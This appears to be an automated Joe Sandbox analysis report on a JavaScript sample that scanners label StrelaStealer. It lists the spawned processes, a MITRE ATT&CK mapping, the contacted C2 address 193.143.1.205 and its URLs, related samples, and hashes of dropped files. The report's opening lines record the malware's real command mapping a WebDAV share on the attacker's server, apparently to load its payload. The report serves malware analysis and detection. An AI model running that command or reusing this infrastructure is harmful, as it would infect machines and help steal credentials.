Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1327128311804210730.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer
1327128311804210730.js	7%	Virustotal		Browse

Source	Detection	Scanner	Label
http://193.143.1.205:8888/Jj	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/s64s4	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/_	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/Jj	net.exe, 00000006.00000003.1798288044.0000021135F94000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1798917995.0000021135F94000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://crl.ver)	svchost.exe, 00000008.00000002.3011951639.000002209C200000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	edb.log.8.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1798917995.0000021135F94000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1798842976.0000021135F58000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	qmgr.db.8.dr, edb.log.8.dr	false		high
http://193.143.1.205:8888/s64s4	net.exe, 00000006.00000002.1798842976.0000021135F58000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/_	net.exe, 00000006.00000002.1798842976.0000021135F58000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588527
Start date and time:	2025-01-11 02:04:22 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 21s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1327128311804210730.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.16.168.105, 2.16.168.107, 2.23.240.205, 50.16.47.176, 18.213.11.84, 54.224.241.105, 34.237.241.83, 162.159.61.3, 172.64.41.3, 184.28.90.27, 23.209.209.135, 52.149.20.212, 104.78.188.188, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
20:05:21	API Interceptor	34x Sleep call for process: powershell.exe modified
20:05:26	API Interceptor	1x Sleep call for process: net.exe modified
20:05:27	API Interceptor	2x Sleep call for process: svchost.exe modified
20:05:39	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	2937924646314313784.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1709323591581122310.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	36522792260104347.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31244102191071522677.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3141714165326508962.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4623256121503424814.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	15315323282846423758.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2581826545127854631.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	260622981189829640.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	395815050212839547.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073466894100565
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrk:KooCEYhgYEL0In
MD5:	A46CDD0F23860B3CB39A3727E383023D
SHA1:	EA82066F788746AE22F7F98167645D0129F96A31
SHA-256:	6BEAE52EB2C5623820DAA1A36BFCE9D3062449FCCB3B68CCA952B9112DC5B082
SHA-512:	CBB64FFD380696029B9AF7DB922CB6F6F171EE89CAE818D50E252ABB22B0D00C726AACCBDEE2D20F4173216FE7D82278BFAC5F562655E4BD66223C7D45D5CB4D
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xa70a3e11, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4220727482770342
Encrypted:	false
SSDEEP:	1536:5SB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:5aza/vMUM2Uvz7DO
MD5:	924D30E584F4FAE38241E6F63AAD79FE
SHA1:	0474ABF2616844117D828B587C8BED41C2ECC23B
SHA-256:	442E2909845191F9C8E61CFF35664BF92F8E62218670B5AD7191982FB7B62C8C
SHA-512:	FBB369681BFCB5A25830BCAE844AB1020C56A80E35A3D337574739F2EF922C1E4F8ABD04BFCA8A3A725746800F3B3B8BB6B64FC71793804D52E840A6BFF600D6
Malicious:	false
Preview:	..>.... .......A.......X\...;...{......................0.!..........{A......}-.h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{...........................................}..................N_./.....}K..........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07529789286250373
Encrypted:	false
SSDEEP:	3:kbtyYePxhvCjn13a/vkuROlAllcVO/lnlZMxZNQl:wyzPna53q/IlAOewk
MD5:	8658B1C3F20192EC0479DE89D349A4FA
SHA1:	A1B064D781E2E3ABC5524D49DB9B7808DCA269B4
SHA-256:	79FCCE6E2EB32AEEBA0C99AA61711237660AA37CFEA0BDBEE4EB9746B414201B
SHA-512:	F43E3F3FD31EFE5E9DF3BBA877BDA8FCB49EE81DF3420D1DD8E30CB4D1DE406CA3DF239BAF4DAEBC6F76892294F54B592E8B6514C4571CC3BB170086781DB9DF
Malicious:	false
Preview:	}..-.....................................;...{.......}K......{A..............{A......{A..........{A]................N_./.....}K.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.185467679264129
Encrypted:	false
SSDEEP:	6:iO4qVhJV+q2Pwkn2nKuAl9OmbnIFUtSqVhVf5ZmwsqVhVftVkwOwkn2nKuAl9Omt:7n3gvYfHAahFUtZrf5/LrfT5JfHAaSJ
MD5:	5279C215A60409B4E38D4498839D15E1
SHA1:	682A1A3A5CA78807172E0985D21FCADF3D202DC7
SHA-256:	63C377E67091FB82FC93BBC2CDA17C3A8E3920F094014496C34016D4E0E3EACF
SHA-512:	554AE436FEDDD5F5691F545830CD459D8E5D7CADB5F5E04C49D1C0C36D2A1E09A993D8923E06F388B5ABDD33F8613EBC31AA3903D7CDC40B89333124447428C0
Malicious:	false
Preview:	2025/01/10-20:05:27.341 1548 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:05:27.345 1548 Recovering log #3.2025/01/10-20:05:27.345 1548 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.185467679264129
Encrypted:	false
SSDEEP:	6:iO4qVhJV+q2Pwkn2nKuAl9OmbnIFUtSqVhVf5ZmwsqVhVftVkwOwkn2nKuAl9Omt:7n3gvYfHAahFUtZrf5/LrfT5JfHAaSJ
MD5:	5279C215A60409B4E38D4498839D15E1
SHA1:	682A1A3A5CA78807172E0985D21FCADF3D202DC7
SHA-256:	63C377E67091FB82FC93BBC2CDA17C3A8E3920F094014496C34016D4E0E3EACF
SHA-512:	554AE436FEDDD5F5691F545830CD459D8E5D7CADB5F5E04C49D1C0C36D2A1E09A993D8923E06F388B5ABDD33F8613EBC31AA3903D7CDC40B89333124447428C0
Malicious:	false
Preview:	2025/01/10-20:05:27.341 1548 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:05:27.345 1548 Recovering log #3.2025/01/10-20:05:27.345 1548 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.148113801179399
Encrypted:	false
SSDEEP:	6:iO4qVhWz34q2Pwkn2nKuAl9Ombzo2jMGIFUtSqVh8bJZmwsqVhZDDkwOwkn2nKuA:7n4b4vYfHAa8uFUtZ2J/LrD5JfHAa8RJ
MD5:	53EEC4A8A6DBA28E6A086A2DDBC5652D
SHA1:	56F6621D8A7C43AB7933CA072DA78958C0753258
SHA-256:	95779655E4D6AEC8BDB16B9AC685A3E21615E8077A0310E65356AA1B002FE939
SHA-512:	8BA9BDEC6DA049AEBC46EADE3E3B08C74B0B1BFB3AA325A2727452E6528134CD811BCB6768005305509FD9B0AA2E421385B791EAA1C15ED557AC0AD5F5278E51
Malicious:	false
Preview:	2025/01/10-20:05:27.393 1cf0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:05:27.395 1cf0 Recovering log #3.2025/01/10-20:05:27.396 1cf0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.148113801179399
Encrypted:	false
SSDEEP:	6:iO4qVhWz34q2Pwkn2nKuAl9Ombzo2jMGIFUtSqVh8bJZmwsqVhZDDkwOwkn2nKuA:7n4b4vYfHAa8uFUtZ2J/LrD5JfHAa8RJ
MD5:	53EEC4A8A6DBA28E6A086A2DDBC5652D
SHA1:	56F6621D8A7C43AB7933CA072DA78958C0753258
SHA-256:	95779655E4D6AEC8BDB16B9AC685A3E21615E8077A0310E65356AA1B002FE939
SHA-512:	8BA9BDEC6DA049AEBC46EADE3E3B08C74B0B1BFB3AA325A2727452E6528134CD811BCB6768005305509FD9B0AA2E421385B791EAA1C15ED557AC0AD5F5278E51
Malicious:	false
Preview:	2025/01/10-20:05:27.393 1cf0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:05:27.395 1cf0 Recovering log #3.2025/01/10-20:05:27.396 1cf0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\2c1c115e-4732-4ccb-ba8d-2314df7acdfd.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.9569730822179325
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqJsBdOg2Hkcaq3QYiubInP7E4T3y:Y2sRdsbdMH33QYhbG7nby
MD5:	B8770BB1F12A5CBE920DA47DFC9BE31B
SHA1:	013FF06E0CC13A7C18E4EA32114C65E9E989AC89
SHA-256:	5CF570E5F5E6C3F50A279EDF8B5ADE14F25BE13A832E00C53F12EB35E91EE6FF
SHA-512:	7136C13227A1CFFBC145218CE96D13273398EC2BF10B7E6433A5F4D28D465E1A2FAB883A5CB76B13F2ABD9E721EA51A12BAF306B9C24D302724FF487E16384AE
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381117539389997","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":145817},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.9569730822179325
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqJsBdOg2Hkcaq3QYiubInP7E4T3y:Y2sRdsbdMH33QYhbG7nby
MD5:	B8770BB1F12A5CBE920DA47DFC9BE31B
SHA1:	013FF06E0CC13A7C18E4EA32114C65E9E989AC89
SHA-256:	5CF570E5F5E6C3F50A279EDF8B5ADE14F25BE13A832E00C53F12EB35E91EE6FF
SHA-512:	7136C13227A1CFFBC145218CE96D13273398EC2BF10B7E6433A5F4D28D465E1A2FAB883A5CB76B13F2ABD9E721EA51A12BAF306B9C24D302724FF487E16384AE
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381117539389997","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":145817},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.254454362074474
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7TtGTd:etJCV4FiN/jTN/2r8Mta02fEhgO73gou
MD5:	066BA1A53FA59BAE4C65CAB1CD4F5571
SHA1:	9DEDEB8F21B6DADFE478AEF87F505AA42F6988EC
SHA-256:	616F6EDA253BD2085734F35FA1E10AC8BFA9043E6560BEA7C443B1B0B18F5725
SHA-512:	8EE2C93805884B89D52066A64B100D92217033D0025C1C3C0AE981F20994B6474B95DD4ACA4B84E5BCA1AA1D357074BAA9C220FB949DCEB8E4024B0A62EADEFD
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.123939190212611
Encrypted:	false
SSDEEP:	6:iO4qVQHN4q2Pwkn2nKuAl9OmbzNMxIFUtSqV9Ul3JZmwsqV9WNv3DkwOwkn2nKuP:7nQt4vYfHAa8jFUtZ2tJ/LSvD5JfHAab
MD5:	54BB335ECC7242E4279E142532610ECF
SHA1:	859E547EAEA6E5B56CBCD01F72950308160EEB5A
SHA-256:	FCDDD16C3C6AAD5BD736762CE1A97F75702094FDC13FA211831CF01A27C55367
SHA-512:	40904A87BC7A0912BB2FA4B4D905FE488358D02D1017299AE59A1C05B0DAC33B53E52CC82C33987717B6E9273F34610B009938094E9842227280C0F086D48CB9
Malicious:	false
Preview:	2025/01/10-20:05:28.152 1cf0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:05:28.341 1cf0 Recovering log #3.2025/01/10-20:05:28.343 1cf0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.123939190212611
Encrypted:	false
SSDEEP:	6:iO4qVQHN4q2Pwkn2nKuAl9OmbzNMxIFUtSqV9Ul3JZmwsqV9WNv3DkwOwkn2nKuP:7nQt4vYfHAa8jFUtZ2tJ/LSvD5JfHAab
MD5:	54BB335ECC7242E4279E142532610ECF
SHA1:	859E547EAEA6E5B56CBCD01F72950308160EEB5A
SHA-256:	FCDDD16C3C6AAD5BD736762CE1A97F75702094FDC13FA211831CF01A27C55367
SHA-512:	40904A87BC7A0912BB2FA4B4D905FE488358D02D1017299AE59A1C05B0DAC33B53E52CC82C33987717B6E9273F34610B009938094E9842227280C0F086D48CB9
Malicious:	false
Preview:	2025/01/10-20:05:28.152 1cf0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:05:28.341 1cf0 Recovering log #3.2025/01/10-20:05:28.343 1cf0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444800522674845
Encrypted:	false
SSDEEP:	384:yezci5tgiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:r3s3OazzU89UTTgUL
MD5:	7E9CCCE7CF961AD6E2DF031932C3914A
SHA1:	FB6F541923D98726C70B945DD901EB8FE9D6825C
SHA-256:	4650F5E2FC4BF9A2D11DF6A9DB14562B3B40F0A2042D5B79674DD9A80E55C7A3
SHA-512:	1660370F729791CF43A6A05B071D3185D2B24BBFF823B555097D3DC10913C53C5A78CC8FD65FA7FBBC8D0C1744C3112A560170892D3715F6C32348C188B33044
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.773556893325579
Encrypted:	false
SSDEEP:	48:7Mwup/E2ioyVOioy9oWoy1Cwoy1aKOioy1noy1AYoy1Wioy1hioybioy4oy1noyl:7KpjuOFdXKQZeb9IVXEBodRBkc
MD5:	960B90620847973D52EDAC58AA4739A6
SHA1:	DA2CF2EC40BAC982DBA272A18F1DE7D7F2476A30
SHA-256:	4635E625F4CD9B5BB9EB065001B29ED3B7FAC008979572CEAE95C4A24887C31D
SHA-512:	E7B7472C2643EEFDFAB62AADD5E251F7DB1402383B77EC4A9F130715EE0942D228F427289D6930ABB6C9BF7964F8711C25A7F87D3DA65E2B760C34A6C494CBDF
Malicious:	false
Preview:	.... .c.....$..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklal0VK3/tfllXlE/HT8kDhttNNX8RolJuRdxLlGB9lQRYwpDdt:kKDl0M3/eT8a3NMa8RdWBwRd
MD5:	7333D2CB28B8796BFB35293995C819B4
